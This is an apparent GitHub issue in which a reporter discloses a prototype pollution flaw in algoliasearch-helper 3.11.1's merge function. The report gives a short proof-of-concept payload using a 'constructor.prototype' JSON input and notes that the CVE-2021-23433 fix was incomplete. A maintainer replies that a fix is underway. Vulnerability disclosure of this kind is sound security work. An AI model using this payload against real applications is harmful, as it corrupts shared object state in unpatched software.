Prototype pollution found in merge.js

[lelecolacola123]

No description provided.

[lelecolacola123]

Prototype pollution vulnerability in function _merge and merge in algoliasearch-helper/src/functions/merge.js in algoliasearch-helper 3.11.1
the POC is :
try{
require('algoliasearch-helper')({},JSON.parse('{"constructor": {"prototype": {"test": 123}}}'))
}catch(e){
console.log({}.test)
}
Only in algoliasearch helper/src/functions provides/merge filter the proto js line 26, ignoring the prototype and the constructor merge.js uses 'use strict' and throws errors on {}.constructor.prototype={test:123}, but before doing so, {}.constructor.prototype.test = 123 has led to the contamination,
this is because the repair is incomplete in CVE-2021-23433

[Haroenv]

Thanks for your report, it wasn't clear in the previous report the code after error would still be vulnerable. While this is an extreme edge-case in my opinion (search parameters shouldn't be user-provided in the first place) I've made a pull request fixing this hole.